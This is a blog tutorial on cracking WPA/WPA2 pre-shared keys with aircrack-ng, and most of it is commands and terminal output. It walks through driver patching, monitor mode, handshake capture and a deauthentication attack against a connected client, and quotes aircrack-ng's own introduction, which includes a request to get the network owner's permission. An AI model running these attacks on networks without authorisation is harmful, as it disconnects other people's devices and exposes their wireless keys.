Skip to main content

aircrack-ng (rt2x00 Mac80211 Linux wireless stack) in Ubuntu Trusty 14.04 (14.0.4.1) LTS

Ubuntu is actually installed in a Virtualbox virtual machine on Mac OS X Yosemite 10.10 (10.10.2). Before proceeding read the important intro below from http://www.aircrack-ng.org/doku.php?id=cracking_wpa#introduction

Install aircrack-ng suite.

$ sudo apt-get install aircrack-ng

It should install and provide the following.

# dpkg -s aircrack-ng
Package: aircrack-ng
Status: install ok installed
Priority: optional
Section: net
Installed-Size: 2167
Maintainer: Ubuntu Developers
Architecture: amd64
Version: 1:1.1-6
Depends: libc6 (>= 2.15), libgcrypt11 (>= 1.4.5), libsqlite3-0 (>= 3.5.9), zlib1g (>= 1:1.1.4), wireless-tools, iw
Recommends: wget
Description: wireless WEP/WPA cracking utilities
 aircrack-ng is an 802.11a/b/g WEP/WPA cracking program that can recover a
 40-bit, 104-bit, 256-bit or 512-bit WEP key once enough encrypted packets
 have been gathered. Also it can attack WPA1/2 networks with some advanced
 methods or simply by brute force.
 .
 It implements the standard FMS attack along with some optimizations,
 thus making the attack much faster compared to other WEP cracking tools.
 It can also fully use a multiprocessor system to its full power in order
 to speed up the cracking process.
 .
 aircrack-ng is a fork of aircrack, as that project has been stopped by
 the upstream maintainer.
Original-Maintainer: Carlos Alberto Lopez Perez
Homepage: http://www.aircrack-ng.org/

# air
airbase-ng              airdriver-ng            airodump-ng-oui-update
aircrack-ng             aireplay-ng             airolib-ng
airdecap-ng             airmon-ng               airserv-ng
airdecloak-ng           airodump-ng             airtun-ng

Patch the wi-fi card driver. Note that I am patching the Mac80211 driver in Ubuntu 14.04 (14.04.1). This is the new wireless stack of the Linux kernel. It is included in the kernel since 2.6.22, but drivers are only included since 2.6.24. This is my kernel version.

# uname -a
Linux ubuntu 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:36:28 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

I have the Hawking HWUG1 USB Wi-fi with a supported chipset (Ralink rt73). See the compatibility list.



sudo apt-get update && apt-get upgrade -y
sudo apt-get install linux-headers-$(uname -r) -y
cd /usr/src/
sudo wget http://www.kernel.org/pub/linux/kernel/projects/backports/stable/v3.17.1/backports-3.17.1-1.tar.xz
sudo tar xvfJ backports-3.17.1-1.tar.xz
cd backports-3.17.1-1
sudo apt-get install patch
sudo wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
sudo wget -Ocompatdrivers_chan_qos_frag.patch http://www.pastie.org/pastes/8846771/download
sudo patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
sudo patch -p1  < compatdrivers_chan_qos_frag.patch
sudo make defconfig-wifi
sudo make
sudo make install
sudo update-initramfs -u
reboot

Mirror of http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch -- https://gist.github.com/fortran01/dd6d2ae607d04f16404d

Mirror of http://www.pastie.org/pastes/8846771/download -- https://gist.github.com/fortran01/9bcf841a108d6c6e989c

Plug the card and this is my ifconfig.

# ifconfig wlan
wlan0     Link encap:UNSPEC  HWaddr 00-XX-XX-XX-XX-XX-XX-XX-00-00-00-00-00-00-00-00
          UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI  MTU:1500  Metric:1
          RX packets:175924 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:12806243 (12.8 MB)  TX bytes:0 (0.0 B)

This is the USB Wi-fi device plugged in.

# lsusb | grep Ralink
Bus 001 Device 003: ID 148f:2573 Ralink Technology, Corp. RT2501/RT2573 Wireless Adapter

Put card in monitor mode. (Notice I have the channel 11 indicated to narrow down to the channel of the AP that I want to target)


# airmon-ng start wlan0 11


Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
731     dhclient


Interface       Chipset         Driver

wlan0           Ralink 2573 USB rt73usb - [phy0]
                                (monitor mode enabled on mon0)

Test monitor mode. Replace with AP SSID, BSSID and monitor interface (mon0).

# aireplay-ng --test -e AztechXXX -a 00:11:22:CA:A5:44 mon0
11:53:30  Waiting for beacon frame (BSSID: 00:11:22:CA:A5:44) on channel 11
11:53:30  Trying broadcast probe requests...
11:53:30  Injection is working!
11:53:32  Found 1 AP

11:53:32  Trying directed probe requests...
11:53:32  00:11:22:CA:A5:44 - channel: 11 - 'AztechXXX'
11:53:33  Ping (min/avg/max): 4.545ms/19.723ms/45.179ms Power: -56.60
11:53:33  30/30: 100%

Start airodump-ng to collect authentication handshake. Replace channel, BSSID, and wireless interface. More hints here http://www.aircrack-ng.org/doku.php?id=cracking_wpa#step_2_-_start_airodump-ng_to_collect_authentication_handshake (READ THE IMPORTANT INTRO BELOW)

# airodump-ng --channel 11 --bssid 00:11:22:CA:A5:44 -w psk wlan0

Here what it looks like if a wireless client is connected to the network:

  CH  11 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:11:22:CA:A5:44
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:11:22:CA:A5:44   39 100       51      116   14   9  54  WPA CCMP   PSK  AztechXXX                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:11:22:CA:A5:44  00:0F:B5:FD:FB:C2   35     0      116  
 
In the screen above, notice the “WPA handshake: 00:11:22:CA:A5:44” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.

Here it is with no connected wireless clients:

  CH  11 ][ Elapsed: 4 s ][ 2007-03-24 17:51 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:11:22:CA:A5:44   39 100       51        0    0   9  54  WPA CCMP   PSK  AztechXXX                         
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes        


Use aireplay-ng to deauthenticate the wireless client. More hints from http://www.aircrack-ng.org/doku.php?id=cracking_wpa#step_3_-_use_aireplay-ng_to_deauthenticate_the_wireless_client

This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.

This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following.

-c is the client. -a is the AP.

# aireplay-ng -0 1 -a 00:11:22:CA:A5:44 -c 00:0F:B5:FD:FB:C2 wlan0
16:05:49  Waiting for beacon frame (BSSID: 00:11:22:CA:A5:44) on channel 11
16:05:50  Sending 64 directed DeAuth. STMAC: [00:0F:B5:FD:FB:C2] [ 0| 0 ACKs]

Troubleshooting Tips

The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.

To crack the PSK follow Step 4 in http://www.aircrack-ng.org/doku.php?id=cracking_wpa#step_4_-_run_aircrack-ng_to_crack_the_pre-shared_key

Intro from www.aircrack-ng.org

Source: http://www.aircrack-ng.org/doku.php?id=cracking_wpa#step_2_-_start_airodump-ng_to_collect_authentication_handshake

This tutorial walks you through cracking WPA/WPA2 networks which use pre-shared keys. I recommend you do some background reading to better understand what WPA/WPA2 is. The Wiki links page has a WPA/WPA2 section. The best document describing WPA is Wi-Fi Security - WEP, WPA and WPA2. This is the link to download the PDF directly. The WPA Packet Capture Explained tutorial is a companion to this tutorial. 
WPA/WPA2 supports many types of authentication beyond pre-shared keys.  aircrack-ng can ONLY crack pre-shared keys. So make sure airodump-ng shows the network as having the authentication type of PSK, otherwise, don't bother trying to crack it.
There is another important difference between cracking WPA/WPA2 and WEP. This is the approach used to crack the WPA/WPA2 pre-shared key. Unlike WEP, where statistical methods can be used to speed up the cracking process, only plain brute force techniques can be used against WPA/WPA2. That is, because the key is not static, so collecting IVs like when cracking WEP encryption, does not speed up the attack. The only thing that does give the information to start an attack is the handshake between client and AP. Handshaking is done when the client connects to the network. Although not absolutely true, for the purposes of this tutorial, consider it true. Since the pre-shared key can be from 8 to 63 characters in length, it effectively becomes impossible to crack the pre-shared key.
The only time you can crack the pre-shared key is if it is a dictionary word or relatively short in length. Conversely, if you want to have an unbreakable wireless network at home, use WPA/WPA2 and a 63 character password composed of random characters including special symbols.
The impact of having to use a brute force approach is substantial. Because it is very compute intensive, a computer can only test 50 to 300 possible keys per second depending on the computer CPU. It can take hours, if not days, to crunch through a large dictionary. If you are thinking about generating your own password list to cover all the permutations and combinations of characters and special symbols, check out this brute force time calculator first. You will be very surprised at how much time is required.
IMPORTANT This means that the passphrase must be contained in the dictionary you are using to break WPA/WPA2. If it is not in the dictionary then aircrack-ng will be unable to determine the key.
There is no difference between cracking WPA or WPA2 networks. The authentication methodology is basically the same between them. So the techniques you use are identical.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

Comments

mapawo said…
Let us report this to DTI. I WILL DO IT TOMOROOW.

August 13, 2017 9:28 PM
Anonymous said…
@mapawo maybe you made this comment in the wrong article?
August 14, 2017 3:18 PM
Post a Comment

Popular posts from this blog

Zenoss: monitor free VMWare ESXi version

We confirmed that the free ESXi version does not allow SNMP gets, only traps. The original script was taken from here: http://communities.vmware.com/docs/DOC-7170 Modified script: http://mirakulo.com/pub/esxi/check_esx_wbmem.py We added Fan and power supply, hinted from this page: http://www.stephenjc.com/2009/01/whatsup-vmware-esxi-monitor-these.html Use this guide to add the Data source: http://www.zenoss.com/community/docs/howtos/create-modify-nagios-templates Added as template under: /Devices /Server /VMWare /ESXi /Templates /esxi-monitor /check_esx_wbmem Name: check_esx_wbmem Source Type: Command Enable true Use SSH false Component: blank Event class: /VMWare/ESXi Severity: Error Cycle time: 60 Parser: auto Command template: /usr/local/zenoss/python/bin/python /opt/zenoss/libexec/check_esx_wbmem.py https://${dev/manageIp}:5989 root passwd To bind this template to ESXi nodes, go to the device: Example: /Devices /Server /VMWare /ESXi /esxi-01.prod.corp.org then to its temp...
6 comments
Read more

ld: unrecognized option '--hash-style=both'

gcc -Wl,-Map=contiki.map,-export-dynamic testv6.co obj_linux-native/socketdev_listener.o \ contiki-linux-native.a -o testv6.linux-native /usr/local/bin/ld: unrecognized option '--hash-style=both' /usr/local/bin/ld: use the --help option for usage information collect2: ld returned 1 exit status If you look closely, the error is something related to the local gcc not using the host's linker (ld). $ which gcc /usr/bin/gcc $ which ld /usr/local/bin/ld For some reason, I messed my compiler path. To synchronized gcc to use the host's dynamic linker (i.e. /usr/bin/ld ), set the environment variable COMPILER_PATH to /usr/bin . $ export COMPILER_PATH=/usr/bin $ echo $COMPILER_PATH /usr/bin $ gcc -print-prog-name=ld /usr/bin/ld
9 comments
Read more

Resetting admin password in IBM System p5 510 Express ASMI

These are the steps in resetting the admin password: 0. Re-route stored static in your body via an ESD wrist strap to a metallic element. 1. Look for the 2 toggle switches and service processor batt. The batt should be in front of the Power Supply 1 and Power Supply 2 (codes: E1 and E2, see Rear Location Codes on the cover plate). The "very tiny" toggle switches should be in the area of P1-C14 slot. I forgot the exact sequence but it should be a combination of the ff. step (2): 2. Remove the battery, toggle the switches to the opposite direction. Allows some time for the caps to discharge. 3. Move back the toggle switches and put back the batt in its place. 4. Assign your PC to Class C subnet (i.e. masked 255.255.255.0 ): IPaddr: 192.168.2.x for HMC1 or IPaddr: 192.168.3.x for HMC2 5. Ping HMC1 or HMC2. Access the web interface using the default address: http://192.168.2.147 (for HMC1) or http://192.168.3.147 (for HMC2) Note: Sometimes you have to force the https protocol: ...
1 comment
Read more